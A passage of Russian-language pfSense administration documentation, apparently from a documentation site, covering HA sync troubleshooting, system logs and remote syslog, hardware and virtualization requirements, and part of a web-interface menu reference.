Для предотвращения конфликтов при split-brain рекомендуется либо разделить DHCP-пул между узлами вручную, либо использовать DHCP Failover (ISC DHCP failover peer), если версия pfSense его поддерживает.

## Выделенный интерфейс синхронизации

Как pfsync, так и XMLRPC используют sync-интерфейс для обмена данными между узлами. Выделение отдельного физического или виртуального интерфейса для синхронизации является обязательной рекомендацией для production-кластеров.

### Требования к sync-интерфейсу

| Параметр | Требование |
|---|---|
| Тип подключения | Прямой кабель (кроссовер) или выделенный VLAN |
| Скорость | Не менее 1 Гбит/с |
| Подсеть | Отдельная подсеть, не пересекающаяся с LAN/WAN |
| CARP VIP | Не требуется |
| Маска подсети | /30 или /24 (для двух узлов достаточно /30) |

### Почему нельзя использовать LAN или WAN

Использование LAN или WAN интерфейса для синхронизации создаёт несколько рисков:

1. **Безопасность** - pfsync передаёт данные в открытом виде, включая содержимое таблицы состояний. На общем сегменте эти данные доступны для перехвата.
2. **Производительность** - трафик синхронизации конкурирует с пользовательским трафиком, что может привести к задержкам синхронизации при высокой нагрузке.
3. **Надёжность** - проблемы на LAN/WAN интерфейсе (перегрузка, сбой коммутатора) одновременно нарушают и синхронизацию, и обслуживание трафика.

### Конфигурация sync-интерфейса

На обоих узлах кластера необходимо:

1. Назначить физический интерфейс для синхронизации через **Interfaces > Interface Assignments** (если ещё не назначен)
2. Перейти в **Interfaces > Sync** и задать статический IP-адрес:
   - Primary: 172.16.1.2/24
   - Secondary: 172.16.1.3/24
3. Включить интерфейс (Enable Interface)
4. Не указывать шлюз - sync-интерфейс не должен иметь шлюза по умолчанию

### Правила файрвола на sync-интерфейсе

На sync-интерфейсе необходимо создать правила, разрешающие трафик синхронизации. Минимальный набор правил:

| Действие | Протокол | Источник | Назначение | Порт | Описание |
|---|---|---|---|---|---|
| Pass | TCP | Sync net | Sync address | 443 | XMLRPC sync |
| Pass | pfsync | Sync net | Any | - | pfsync state sync |

Более простой вариант - создать одно правило, разрешающее весь трафик на sync-интерфейсе между адресами узлов. Поскольку sync-интерфейс изолирован от остальных сетей, это не создаёт дополнительных рисков безопасности.

## Проверка работоспособности синхронизации

### Проверка pfsync

Для проверки работы pfsync необходимо убедиться, что таблица состояний на обоих узлах содержит одинаковые записи.

На primary-узле выполнить через **Diagnostics > States**:

- Зафиксировать количество активных состояний
- Инициировать новое соединение (например, открыть веб-страницу через файрвол)
- Проверить, что новое состояние появилось в таблице

На secondary-узле выполнить аналогичную проверку:

- Перейти в **Diagnostics > States**
- Убедиться, что количество состояний примерно совпадает с primary
- Найти запись о том же соединении, что было создано на primary

Также можно использовать командную строку:

```
pfctl -s info | grep "current entries"
```

Значения на обоих узлах должны быть близки (допускается незначительное расхождение в десятки записей из-за задержки синхронизации).

### Проверка XMLRPC

Для проверки XMLRPC-синхронизации:

1. На primary-узле создать тестовый алиас через **Firewall > Aliases** (например, test_sync_alias с одним IP-адресом)
2. Нажать **Save** и **Apply Changes**
3. На secondary-узле перейти в **Firewall > Aliases** и убедиться, что тестовый алиас появился
4. После проверки удалить тестовый алиас на primary - он должен быть удалён и на secondary

В журнале **Status > System Logs > System > General** на secondary-узле должны присутствовать записи об успешном получении конфигурации от primary.

### Мониторинг состояния синхронизации

Состояние CARP и синхронизации можно проверить через **Status > CARP (failover)**. Страница отображает:

- Текущий статус каждого CARP VIP (MASTER/BACKUP)
- Время последней синхронизации
- Ошибки синхронизации (если присутствуют)

## Диагностика проблем синхронизации

### XMLRPC sync fails

**Симптом**: изменения на primary не появляются на secondary.

Возможные причины и решения:

| Причина | Диагностика | Решение |
|---|---|---|
| Неверные учётные данные | Проверить логин/пароль в настройках XMLRPC | Указать корректные данные admin-пользователя secondary |
| Недоступен порт 443 | `ping 172.16.1.3` и `curl -sk https://172.16.1.3` с primary | Проверить правила файрвола на sync-интерфейсе secondary |
| Разные версии pfSense | **System > General** на обоих узлах | Обновить оба узла до одинаковой версии |
| Истекший сертификат GUI | **System > Cert. Manager** на secondary | Перевыпустить self-signed сертификат |
| Timeout при передаче | Журнал **System > General** на primary | Увеличить таймаут или проверить стабильность sync-линка |

### Частичная синхронизация

**Симптом**: некоторые области конфигурации синхронизируются, другие - нет.

Это обычно вызвано отключёнными флагами в секции XMLRPC Sync Settings. Необходимо проверить, что все требуемые области отмечены флагами на primary-узле.

Также частичная синхронизация может возникнуть при наличии конфликтов в конфигурации. Например, если на secondary-узле вручную создана запись с тем же идентификатором, что и на primary, XMLRPC может не выполнить перезапись. В таком случае рекомендуется удалить конфликтующую запись на secondary и повторно инициировать синхронизацию.

Для принудительной повторной синхронизации на primary-узле перейти в **System > High Avail. Sync** и нажать **Save** без внесения изменений - это инициирует повторную передачу всех отмеченных областей.

### Проблемы с сертификатами

**Симптом**: XMLRPC-синхронизация завершается ошибкой SSL/TLS.

XMLRPC использует HTTPS для подключения к secondary-узлу. Если self-signed сертификат веб-интерфейса secondary истёк или повреждён, синхронизация завершится ошибкой.

Решение:

1. На secondary-узле перейти в **System > Cert. Manager > Certificates**
2. Найти сертификат webConfigurator default (или аналогичный)
3. Проверить срок действия - если сертификат истёк, удалить его
4. Перейти в **System > Advanced > Admin Access** и сгенерировать новый self-signed сертификат
5. На primary-узле повторно сохранить настройки XMLRPC для инициации синхронизации

### pfsync не работает

**Симптом**: таблица состояний на secondary пуста или существенно отличается от primary.

| Причина | Диагностика | Решение |
|---|---|---|
| pfsync не включён | **System > High Avail. Sync** на обоих узлах | Установить флаг Synchronize States |
| Неверный sync-интерфейс | Проверить выбранный интерфейс в настройках | Выбрать правильный Sync-интерфейс |
| Неверный Peer IP | Проверить адрес партнёра | Указать IP-адрес партнёрского узла на sync-интерфейсе |
| Заблокирован pfsync-трафик | `tcpdump -i igb2 proto pfsync` на sync-интерфейсе | Добавить правило, разрешающее pfsync на sync-интерфейсе |
| Переполнение таблицы | **Diagnostics > States** - проверить лимит | Увеличить **Firewall Maximum States** в **System > Advanced > Firewall & NAT** |

### Высокая задержка синхронизации

**Симптом**: состояния на secondary появляются с заметной задержкой (секунды).

При включённом режиме Defer updates pfsync накапливает изменения перед отправкой. Если задержка критична (например, для кластеров с агрессивным failover), режим отложенных обновлений можно отключить. Однако это увеличит нагрузку на sync-интерфейс и CPU обоих узлов.

Также задержку может вызывать перегрузка sync-интерфейса. Если pfsync-трафик превышает пропускную способность интерфейса, обновления будут отбрасываться. В этом случае необходимо увеличить скорость sync-линка или оптимизировать количество отслеживаемых состояний.

## Связанные разделы

- [CARP и Virtual IPs](/docs/pfsense/high-availability/pfsense-carp-setup/) - настройка CARP VIP, требования к адресации и оборудованию кластера
- [Сценарии отказоустойчивости](/docs/pfsense/high-availability/pfsense-failover-scenarios/) - тестирование переключения, планирование обслуживания и мониторинг кластера
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - настройка правил на sync-интерфейсе для разрешения трафика XMLRPC и pfsync
- [VPN в pfSense](/docs/pfsense/vpn/) - особенности синхронизации IPsec и OpenVPN в HA-кластере


---

# Системные логи pfSense - журналы и remote syslog

Source: https://opennix.org/docs/pfsense/monitoring/pfsense-system-logs/


pfSense ведёт детализированные журналы событий для всех системных компонентов - от файрвола и маршрутизации до VPN и сервисов DHCP/DNS. Журналы хранятся локально в каталоге `/var/log/` в текстовом формате с периодической ротацией. Начиная с pfSense Plus 21.02 и CE 2.5.0, используется формат обычных текстовых файлов с ротацией и сжатием. В более ранних версиях применялся бинарный формат clog (circular log), который имел ограничения по гибкости и был подвержен повреждениям.

Просмотр журналов осуществляется через **Status > System Logs**. Каждая категория логов представлена отдельной вкладкой, что упрощает навигацию и снижает информационный шум.

## Категории логов

pfSense разделяет журналы по категориям, каждая из которых доступна на отдельной вкладке:

| Категория | Содержание |
|---|---|
| System | Общесистемные события: запуск/остановка сервисов, обновления, ошибки ядра |
| Firewall | Записи о пропущенных и заблокированных пакетах (основной журнал безопасности) |
| DHCP | События DHCP сервера: выдача аренд, запросы, отказы |
| DNS Resolver | Запросы и ответы Unbound DNS resolver |
| DNS Forwarder | Запросы DNS Forwarder (dnsmasq) |
| Auth | Аутентификация пользователей: вход в веб-интерфейс, SSH, Captive Portal |
| IPsec | Установка и разрыв IPsec туннелей, ошибки согласования |
| OpenVPN | Подключения и отключения OpenVPN клиентов, ошибки сертификатов |
| WireGuard | События WireGuard VPN (при наличии настроенных интерфейсов) |
| L2TP | Подключения L2TP VPN |
| PPP | События PPP-подключений (PPPoE, PPTP) |
| Gateway | Мониторинг шлюзов: изменения статуса, потеря связи, восстановление |
| Routing | Изменения в таблице маршрутизации, события протоколов динамической маршрутизации |
| NTP | Синхронизация времени: смещение, выбор сервера |
| Captive Portal | Аутентификация и активность Captive Portal |
| Wireless | События беспроводных интерфейсов |
| Packages | Установка и обновление пакетов |

## Журнал файрвола

Журнал файрвола - наиболее востребованный источник данных для анализа безопасности. Каждая запись содержит подробную информацию о решении файрвола по конкретному пакету.

### Формат записей filterlog

Записи файрвола генерируются компонентом filterlog и содержат следующие поля:

| Поле | Описание | Пример |
|---|---|---|
| Rule number | Номер правила, обработавшего пакет | 5 |
| Sub rule number | Номер подправила (для NAT) | 0 |
| Anchor | Привязка к anchor (для плагинов) | - |
| Tracker | Уникальный идентификатор правила | 1000000103 |
| Interface | Интерфейс, на котором обработан пакет | em0 |
| Reason | Причина: match или state | match |
| Action | Действие: pass или block | block |
| Direction | Направление: in или out | in |
| IP version | Версия IP: 4 или 6 | 4 |
| Protocol | Протокол: TCP, UDP, ICMP и др. | TCP |
| Source IP | IP-адрес источника | 203.0.113.50 |
| Source port | Порт источника | 54321 |
| Destination IP | IP-адрес назначения | 192.168.1.1 |
| Destination port | Порт назначения | 443 |
| TCP flags | Флаги TCP (для TCP) | S (SYN) |
| Length | Длина пакета | 60 |

### Включение журналирования правил

По умолчанию pfSense журналирует только заблокированные пакеты. Для включения журналирования разрешённых пакетов необходимо:

1. Перейти в **Firewall > Rules** на вкладку нужного интерфейса
2. Открыть правило для редактирования
3. В секции **Extra Options** установить флажок **Log packets that are handled by this rule**
4. Нажать **Save** и **Apply Changes**

> **Внимание**:
>
> Включение журналирования для правил с высокой интенсивностью трафика (например, правила Allow All на LAN) создаёт значительную нагрузку на систему и быстро заполняет журналы. Следует журналировать только правила, требующие мониторинга.

### Фильтрация журнала файрвола

Вкладка Firewall в **Status > System Logs** предоставляет расширенные фильтры:

- **Interface** - фильтрация по интерфейсу (WAN, LAN, OPTx)
- **Action** - Pass, Block или Reject
- **Direction** - In или Out
- **Protocol** - TCP, UDP, ICMP и другие
- **Source / Destination IP** - фильтрация по адресам
- **Source / Destination Port** - фильтрация по портам

## Просмотр и фильтрация логов

### Расширенный фильтр

Панель Advanced Log Filter доступна на каждой вкладке логов и поддерживает следующие критерии:

- **Message** - текстовый поиск или регулярное выражение по содержимому записи
- **Time** - поиск по временной метке
- **Process** - фильтрация по имени процесса или службы
- **PID** - фильтрация по идентификатору процесса
- **Quantity** - ограничение количества выводимых записей

### Просмотр из командной строки

Журналы доступны непосредственно через файловую систему:

```bash
# Просмотр журнала файрвола в реальном времени
tail -f /var/log/filter.log

# Поиск заблокированных пакетов с определённого IP
grep "block" /var/log/filter.log | grep "203.0.113.50"

# Просмотр системного журнала
tail -100 /var/log/system.log
```

## Настройки журналирования

Общие параметры логов настраиваются через **Status > System Logs > Settings**:

### Параметры отображения

- **Forward/Reverse Display** - порядок отображения записей (новые сверху или снизу)
- **GUI Log Entries** - количество записей, отображаемых в веб-интерфейсе (по умолчанию 500)
- **Log Firewall Default Blocks** - журналирование пакетов, заблокированных правилом implicit deny
- **Log Packets from Default Pass Rules** - журналирование пакетов, пропущенных автоматическими правилами (anti-lockout, private networks)
- **Log Packets from Default Block Rules** - журналирование пакетов bogon-сетей и зарезервированных адресов

### Ротация и хранение

- **Log Rotation Size** - максимальный размер файла журнала перед ротацией (в байтах)
- **Log Retention Count** - количество ротированных копий для хранения
- **Log Compression** - сжатие ротированных файлов (включено по умолчанию, кроме ZFS)

При стандартной установке (не RAM-диск) журналы сохраняются между перезагрузками. При использовании RAM-диска для `/var` система выполняет резервное копирование и восстановление логов при корректном завершении работы и запуске.

## Настройка Remote Syslog

Для долгосрочного хранения и централизованного анализа логов pfSense поддерживает отправку журналов на удалённые серверы syslog. Настройка выполняется через **Status > System Logs > Settings** в секции **Remote Logging Options**.

### Параметры подключения

- **Enable Remote Logging** - активация отправки логов на удалённый сервер
- **Source Address** - IP-адрес или интерфейс, используемый как источник syslog-пакетов. По умолчанию используется адрес интерфейса, через который проходит маршрут к серверу syslog
- **IP Protocol** - выбор протокола транспорта: IPv4 или IPv6
- **Remote Log Servers** - до трёх адресов серверов syslog в формате `ip:port` (по умолчанию порт 514)

### Протокол передачи

pfSense поддерживает отправку syslog по протоколам:

| Протокол | Порт | Особенности |
|---|---|---|
| UDP | 514 | По умолчанию. Быстрый, без гарантии доставки |
| TCP | 514 | Гарантированная доставка, но возможна задержка при недоступности сервера |

> **Внимание**:
>
> Передача syslog по TLS (шифрованный канал) не поддерживается в стандартной конфигурации pfSense. Для защиты трафика syslog следует использовать VPN-туннель между pfSense и сервером syslog или установить пакет syslog-ng.

### Выбор категорий для отправки

В секции **Remote Syslog Contents** следует выбрать категории логов для передачи на удалённый сервер:

- **Everything** - все журналы (создаёт значительный трафик)
- **System Events** - системные события
- **Firewall Events** - события файрвола (наиболее востребованная категория для SIEM)
- **DNS Events** - запросы и ответы DNS
- **DHCP Events** - события DHCP
- **Auth Events** - события аутентификации
- **VPN Events** - события IPsec, OpenVPN, WireGuard
- **Gateway Events** - события мониторинга шлюзов
- **Routing Events** - события маршрутизации

### Формат сообщений

pfSense отправляет сообщения syslog в формате BSD (RFC 3164). Этот формат поддерживается большинством серверов syslog и SIEM-систем. Формат включает:

```
<priority>timestamp hostname process[pid]: message
```

Пример записи файрвола:

```
<134>Apr 06 10:15:23 pfsense filterlog[12345]: 5,,,1000000103,em0,match,block,in,4,0x0,,64,12345,0,none,6,tcp,60,203.0.113.50,192.168.1.1,54321,443,0,S,12345678,,65535,,mss;nop;wscale
```

## Интеграция с SIEM-системами

### Wazuh

pfSense интегрируется с Wazuh SIEM через механизм remote syslog. Wazuh включает встроенные декодеры и правила для разбора логов pfSense, включая записи filterlog. Подробная инструкция представлена в разделе [Интеграция pfSense с Wazuh](/docs/pfsense/pfsense-wazuh-integration/).

Типовая схема интеграции:

```
pfSense (syslog UDP/TCP) --> Wazuh Manager (ossec-remoted) --> Wazuh Indexer
```

### Graylog

Для интеграции с Graylog необходимо:

1. Создать Syslog UDP или TCP Input в Graylog на выделенном порту
2. Настроить pfSense на отправку логов на IP:порт Graylog
3. Создать экстракторы для разбора полей filterlog

### ELK Stack (Elasticsearch, Logstash, Kibana)

Для интеграции с ELK Stack:

1. Настроить Logstash с модулем syslog input
2. Создать фильтр Logstash для разбора формата filterlog pfSense
3. Направить логи pfSense на адрес Logstash

Альтернативный вариант - использование Filebeat с модулем pfSense (доступен начиная с Filebeat 7.x).

## Циклическое поведение логов

В текущих версиях pfSense (Plus 21.02+, CE 2.5.0+) логи хранятся в обычных текстовых файлах с ротацией:

- При достижении файлом максимального размера он переименовывается с суффиксом `.0`, предыдущий `.0` становится `.1` и так далее
- Ротированные файлы сжимаются (кроме ZFS)
- Количество хранимых копий ограничивается параметром Log Retention Count
- Самые старые копии удаляются автоматически

В устаревших версиях использовался формат clog (circular log), при котором новые записи перезаписывали старые в циклическом буфере фиксированного размера. Этот формат не поддерживал сжатие и был подвержен повреждениям при сбоях.

## Устранение неполадок

### Логи не передаются на remote syslog

1. Убедиться, что **Enable Remote Logging** включён в **Status > System Logs > Settings**
2. Проверить правильность адреса и порта сервера syslog
3. Убедиться, что правило файрвола разрешает исходящий трафик syslog (UDP/TCP 514) с интерфейса pfSense
4. Проверить доступность сервера syslog: **Diagnostics > Ping** с указанием IP сервера
5. На стороне сервера syslog убедиться, что сервис слушает на указанном порту и принимает подключения с IP pfSense

### Журналы заполняются слишком быстро

- Отключить журналирование для правил с высоким трафиком
- Снять флажок **Log Packets from Default Block Rules** для уменьшения объёма записей о заблокированных bogon-пакетах
- Увеличить значение **Log Rotation Size**
- Увеличить значение **Log Retention Count** при необходимости хранения более длительной истории

### Потеря логов при перезагрузке

При использовании RAM-диска для `/var`:

- Проверить, что включена опция периодического сохранения логов на постоянное хранилище
- Использовать remote syslog для гарантированного сохранения критических событий
- Рассмотреть отказ от RAM-диска для систем, требующих сохранения локальных логов

## Связанные разделы

- [Графики мониторинга pfSense](/docs/pfsense/monitoring/pfsense-monitoring-graphs/) - визуализация метрик производительности для корреляции с событиями журналов
- [Инструменты диагностики pfSense](/docs/pfsense/monitoring/pfsense-diagnostics/) - утилиты для углублённого анализа проблем, зафиксированных в логах
- [Интеграция pfSense с Wazuh](/docs/pfsense/pfsense-wazuh-integration/) - пошаговая настройка отправки логов pfSense в Wazuh SIEM


---

# Системные требования pfSense - оборудование и совместимость

Source: https://opennix.org/docs/pfsense/installation/pfsense-system-requirements/


pfSense основан на FreeBSD и поддерживает исключительно 64-разрядную архитектуру amd64 (x86-64). Система работает как на физическом оборудовании, так и в средах виртуализации. При выборе аппаратной платформы следует учитывать планируемую пропускную способность, количество одновременных соединений и набор используемых функций - VPN, IDS/IPS, прокси-серверы.

## Минимальные требования

Приведённые ниже характеристики являются абсолютным минимумом для запуска pfSense. Для продуктивной эксплуатации необходимо ориентироваться на рекомендуемые параметры.

| Компонент | Минимум |
|---|---|
| Процессор | 64-разрядный (amd64), одноядерный, 500 МГц |
| Оперативная память | 1 ГБ |
| Диск | 8 ГБ (SSD или HDD) |
| Сетевые интерфейсы | 1 (минимум для работы, 2 для типовой конфигурации WAN + LAN) |
| Установочный носитель | USB-накопитель или DVD |

> **Внимание**:
>
> Минимальная конфигурация подходит только для лабораторных стендов и тестирования. Для продуктивного использования необходимо руководствоваться рекомендуемыми требованиями, приведёнными ниже.

## Рекомендуемые требования

Требования к оборудованию зависят от масштаба развёртывания, объёма трафика и используемых сервисов. Ниже приведены рекомендации для трёх типовых сценариев.

### Небольшой офис (до 50 пользователей)

| Компонент | Рекомендация |
|---|---|
| Процессор | 2 ядра, 1.0+ ГГц, поддержка AES-NI |
| Оперативная память | 4 ГБ |
| Диск | 32 ГБ SSD |
| Сетевые интерфейсы | 2 (WAN + LAN), Intel |
| Пропускная способность | до 500 Мбит/с без VPN |

Данная конфигурация достаточна для маршрутизации, межсетевого экрана с базовым набором правил и одного-двух VPN-туннелей.

### Филиал (50--200 пользователей)

| Компонент | Рекомендация |
|---|---|
| Процессор | 4 ядра, 1.5+ ГГц, поддержка AES-NI |
| Оперативная память | 8 ГБ |
| Диск | 64 ГБ SSD |
| Сетевые интерфейсы | 3--4 (WAN, LAN, DMZ, опционально OPT), Intel |
| Пропускная способность | до 1 Гбит/с без VPN |

При использовании Suricata или Snort для анализа трафика объём оперативной памяти следует увеличить до 16 ГБ. Пакеты IDS/IPS потребляют значительный объём памяти в зависимости от количества загруженных наборов правил.

### Корпоративная сеть (200+ пользователей)

| Компонент | Рекомендация |
|---|---|
| Процессор | 4--8 ядер, 2.0+ ГГц, поддержка AES-NI |
| Оперативная память | 16--32 ГБ |
| Диск | 120+ ГБ SSD (NVMe предпочтительно) |
| Сетевые интерфейсы | 4+, Intel серверного класса (i350, X520, X710) |
| Пропускная способность | 1--10 Гбит/с |

Для корпоративных развёртываний с активным использованием VPN критически важна аппаратная поддержка AES-NI. Без неё производительность IPsec и OpenVPN снижается в несколько раз.

### Расчёт памяти для таблицы состояний

Каждое активное соединение, проходящее через pfSense, занимает запись в таблице состояний. Потребление памяти растёт линейно:

| Количество состояний | Потребление памяти |
|---|---|
| 100 000 | ~100 МБ |
| 500 000 | ~500 МБ |
| 1 000 000 | ~1 ГБ |

При планировании объёма оперативной памяти необходимо учитывать не только таблицу состояний, но и потребности установленных пакетов (Suricata, pfBlockerNG, HAProxy и других).

## Сетевые интерфейсы

Выбор сетевого адаптера оказывает существенное влияние на производительность pfSense. Низкокачественные адаптеры создают повышенную нагрузку на процессор даже при небольшом объёме трафика.

### Рекомендуемые чипсеты

**Intel** - предпочтительный выбор для pfSense. Драйверы Intel в FreeBSD отличаются стабильностью и высокой производительностью. Рекомендуемые серии:

- **Intel i210/i211** - гигабитные адаптеры для небольших развёртываний
- **Intel i350** - серверный гигабитный адаптер, поддержка SR-IOV
- **Intel X520/X540** - 10-гигабитные адаптеры (SFP+/10GBase-T)
- **Intel X710/XL710** - 10/40-гигабитные адаптеры, поддержка DPDK

**Chelsio** - адаптеры серверного класса с качественными драйверами FreeBSD. Подходят для высоконагруженных развёртываний с 10/25/40 GbE.

### Адаптеры, которых следует избегать

**Realtek** - бюджетные адаптеры на чипсетах RTL8111/RTL8168 работают, однако создают значительно более высокую нагрузку на процессор по сравнению с Intel. Для продуктивной эксплуатации использовать не рекомендуется.

**USB-адаптеры** - категорически не рекомендуются. Они ненадёжны, обладают низкой производительностью и не подходят для работы в качестве сетевых интерфейсов межсетевого экрана.

> **Внимание**:
>
> Для проверки совместимости конкретной модели адаптера следует обращаться к документации FreeBSD Hardware Notes для версии FreeBSD, на которой основан используемый выпуск pfSense.

## Виртуализация

pfSense поддерживает работу в большинстве распространённых платформ виртуализации. Ниже приведены рекомендации для каждой из них.

### VMware ESXi

- Тип гостевой ОС: FreeBSD 14 (64-bit) или Other (64-bit)
- Сетевые адаптеры: VMXNET3 (предпочтительно) или E1000
- Дисковый контроллер: PVSCSI или LSI Logic
- Выделить CPU с поддержкой AES-NI и передать флаг гостевой ОС

VMXNET3 обеспечивает наибольшую производительность при работе с pfSense на ESXi. Адаптеры E1000 следует использовать только в случае проблем совместимости.

### Proxmox VE

- Тип машины: q35
- Сетевые адаптеры: VirtIO (virtio-net)
- Дисковый контроллер: VirtIO SCSI или VirtIO Block
- Процессор: host (для проброса аппаратных инструкций, включая AES-NI)

VirtIO-драйверы включены в ядро FreeBSD и не требуют дополнительной установки. Proxmox является одной из наиболее удобных платформ для развёртывания pfSense в виртуальной среде.

### Microsoft Hyper-V

- Поколение виртуальной машины: Generation 2
- Сетевые адаптеры: синтетические адаптеры Hyper-V (hn)
- Требуется отключить Secure Boot в настройках виртуальной машины
- Драйверы Hyper-V Integration Services включены в ядро FreeBSD

> **Внимание**:
>
> При использовании Hyper-V Generation 1 могут возникнуть проблемы с загрузкой. Следует использовать исключительно Generation 2 с отключённым Secure Boot.

### KVM / QEMU

- Тип машины: q35
- Сетевые адаптеры: VirtIO (virtio-net)
- Дисковый контроллер: VirtIO (virtio-blk или virtio-scsi)
- Процессор: host
- Видеоадаптер: VGA (QXL не требуется для headless-установки)

Конфигурация аналогична Proxmox, поскольку Proxmox использует KVM/QEMU в качестве гипервизора.

### Общие рекомендации для виртуальных сред

- Не следует использовать эмулированные адаптеры (rtl8139, ne2k) - они значительно снижают производительность
- Для VPN-туннелей необходимо убедиться, что аппаратные инструкции AES-NI проброшены в виртуальную машину
- Рекомендуется выделять фиксированный объём оперативной памяти вместо динамического
- Для высоконагруженных сценариев следует рассмотреть PCI Passthrough физических сетевых адаптеров

## Миграция с других платформ

Администраторы, переходящие на pfSense с аппаратных решений Cisco ASA, FortiGate или MikroTik, нередко планируют использовать существующее серверное оборудование. При оценке совместимости следует учитывать несколько аспектов.

### Переиспользование существующего оборудования

Стандартные серверы x86-64 (Dell PowerEdge, HP ProLiant, Supermicro) подходят для pfSense при условии совместимости сетевых адаптеров. Проприетарные аппаратные платформы (Cisco ASA appliance, FortiGate appliance) непригодны - они используют закрытые прошивки и в ряде случаев нестандартную архитектуру.

### Компактные платформы

Для небольших развёртываний подходят компактные x86-64 платформы:

- **Protectli** - устройства с процессорами Intel Celeron/Core i, несколькими портами Intel NIC
- **Qotom** - мини-ПК с несколькими Ethernet-портами, процессоры Intel
- **Supermicro SYS-E** серия - компактные серверы с серверными сетевыми адаптерами

При выборе компактной платформы необходимо убедиться в наличии поддержки AES-NI и достаточного количества сетевых портов на адаптерах Intel.

### Оценка производительности при миграции

При замене аппаратного межсетевого экрана на pfSense следует помнить, что заявленная производительность аппаратных решений (например, "Cisco ASA 5525-X - 2 Гбит/с firewall throughput") достигается на специализированных ASIC. Программный межсетевой экран на x86 потребует более мощного процессора для достижения аналогичных показателей, особенно при включённых IDS/IPS и VPN.

## Связанные разделы

- [Установка pfSense](/docs/pfsense/installation/pfsense-installation-guide/) - пошаговая инструкция по установке после проверки совместимости оборудования
- [Обновление pfSense](/docs/pfsense/installation/pfsense-upgrading/) - обновление между версиями, в том числе при смене аппаратной платформы
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - настройка правил фильтрации после завершения установки


---

# Справочник меню pfSense - все пункты веб-интерфейса

Source: https://opennix.org/docs/pfsense/menu-guide/pfsense-menu-reference/


Веб-интерфейс pfSense содержит семь основных меню, каждое из которых объединяет функции определённой категории. Ниже приведён полный перечень всех пунктов меню с указанием пути в интерфейсе и краткого описания назначения. Для детальной настройки каждой функции обратитесь к соответствующим разделам документации.

## System

Меню System содержит общие параметры системы, управление пользователями, сертификатами, обновлениями и маршрутизацией.

| Пункт меню | Путь | Описание |
|---|---|---|
| General Setup | System > General Setup | Имя хоста, домен, DNS-серверы, часовой пояс, тема интерфейса |
| Advanced | System > Advanced | Расширенные параметры: admin access, файрвол/NAT, сеть, уведомления, разное |
| Cert Manager | System > Cert Manager | Управление сертификатами CA, серверными и пользовательскими сертификатами, CRL |
| High Avail. Sync | System > High Avail. Sync | Настройка XMLRPC-синхронизации конфигурации между узлами [HA-кластера](/docs/pfsense/high-availability/) |
| Logout | System > Logout | Завершение сеанса администратора |
| Package Manager | System > Package Manager | Установка, удаление и обновление дополнительных [пакетов](/docs/pfsense/pfsense-packages/) |
| Routing | System > Routing | Управление шлюзами (gateways), группами шлюзов и статическими маршрутами |
| Setup Wizard | System > Setup Wizard | Мастер первоначальной настройки системы |
| Update | System > Update | Проверка и установка обновлений pfSense |
| User Manager | System > User Manager | Управление локальными пользователями, группами, LDAP/RADIUS-серверами аутентификации |

## Interfaces

Меню Interfaces содержит настройки сетевых интерфейсов, VLAN, мостов и агрегации каналов.

| Пункт меню | Путь | Описание |
|---|---|---|
| Interface Assignments | Interfaces > Assignments | Назначение физических и виртуальных портов логическим [интерфейсам](/docs/pfsense/interfaces/) |
| Interface Groups | Interfaces > Assignments > Interface Groups | Группировка интерфейсов для применения общих правил файрвола |
| Wireless | Interfaces > Assignments > Wireless | Создание виртуальных [беспроводных интерфейсов](/docs/pfsense/wireless/pfsense-wireless-setup/) (VAP) |
| VLANs | Interfaces > Assignments > VLANs | Создание 802.1Q [VLAN-интерфейсов](/docs/pfsense/vlans/pfsense-vlan-setup/) |
| Bridges | Interfaces > Assignments > Bridges | Создание сетевых [мостов](/docs/pfsense/bridging/) между интерфейсами (Layer 2) |
| GIF | Interfaces > Assignments > GIFs | Создание GIF-туннелей (Generic Tunnel Interface) для IPv6-in-IPv4 инкапсуляции |
| GRE | Interfaces > Assignments > GREs | Создание GRE-туннелей (Generic Routing Encapsulation) |
| LAGG | Interfaces > Assignments > LAGGs | Агрегация физических интерфейсов (LACP, failover, loadbalance, roundrobin) |
| QinQ | Interfaces > Assignments > QinQ | Создание QinQ-интерфейсов (802.1ad, VLAN stacking) |
| PPPs | Interfaces > Assignments > PPPs | Настройка PPPoE, PPTP и L2TP WAN-подключений |
| WAN | Interfaces > WAN | Настройка параметров WAN-интерфейса (IP, шлюз, MTU, MSS) |
| LAN | Interfaces > LAN | Настройка параметров LAN-интерфейса |
| OPTn | Interfaces > OPTn | Настройка дополнительных интерфейсов (OPT1, OPT2 и далее) |

## Firewall

Меню Firewall управляет правилами фильтрации трафика, NAT, алиасами и шейпингом.

| Пункт меню | Путь | Описание |
|---|---|---|
| Aliases | Firewall > Aliases | Создание именованных групп IP-адресов, портов и URL для использования в [правилах](/docs/pfsense/firewall/pfsense-firewall-rules/) |
| NAT | Firewall > NAT | Настройка [Port Forward, 1:1 NAT и Outbound NAT](/docs/pfsense/nat/) |
| Rules | Firewall > Rules | Управление правилами файрвола по интерфейсам (WAN, LAN, OPTn, FloatingRules) |
| Schedules | Firewall > Schedules | Создание расписаний для временного применения правил файрвола |
| Traffic Shaper | Firewall > Traffic Shaper | Настройка [QoS и управления полосой пропускания](/docs/pfsense/traffic-shaper/) (ALTQ, Limiters) |
| Virtual IPs | Firewall > Virtual IPs | Создание виртуальных IP-адресов (CARP, IP Alias, Proxy ARP, Other) |

## Services

Меню Services содержит настройки сетевых сервисов, предоставляемых pfSense.

| Пункт меню | Путь | Описание |
|---|---|---|
| Captive Portal | Services > Captive Portal | Настройка [портала авторизации](/docs/pfsense/captive-portal/) для гостевых и публичных сетей |
| DHCP Relay | Services > DHCP Relay | Ретрансляция DHCP-запросов на внешний DHCP-сервер |
| DHCP Server | Services > DHCP Server | Настройка [DHCP-сервера](/docs/pfsense/services/pfsense-dhcp/) для каждого интерфейса (пулы, статические привязки, опции) |
| DHCPv6 Server & RA | Services > DHCPv6 Server & RA | Настройка DHCPv6 и Router Advertisement для IPv6-сетей |
| DNS Forwarder | Services > DNS Forwarder | DNS-прокси на базе dnsmasq (host overrides, domain overrides) |
| DNS Resolver | Services > DNS Resolver | Рекурсивный DNS-резолвер на базе Unbound (DNSSEC, DoT, host overrides) |
| Dynamic DNS | Services > Dynamic DNS | Настройка динамического DNS для обновления записей при смене IP-адреса WAN |
| IGMP Proxy | Services > IGMP Proxy | Проксирование IGMP-трафика между интерфейсами для мультикаст-потоков (IPTV) |
| NTP | Services > NTP | Настройка NTP-сервера и синхронизации времени |
| PPPoE Server | Services > PPPoE Server | Создание PPPoE-сервера для предоставления подключений клиентам |
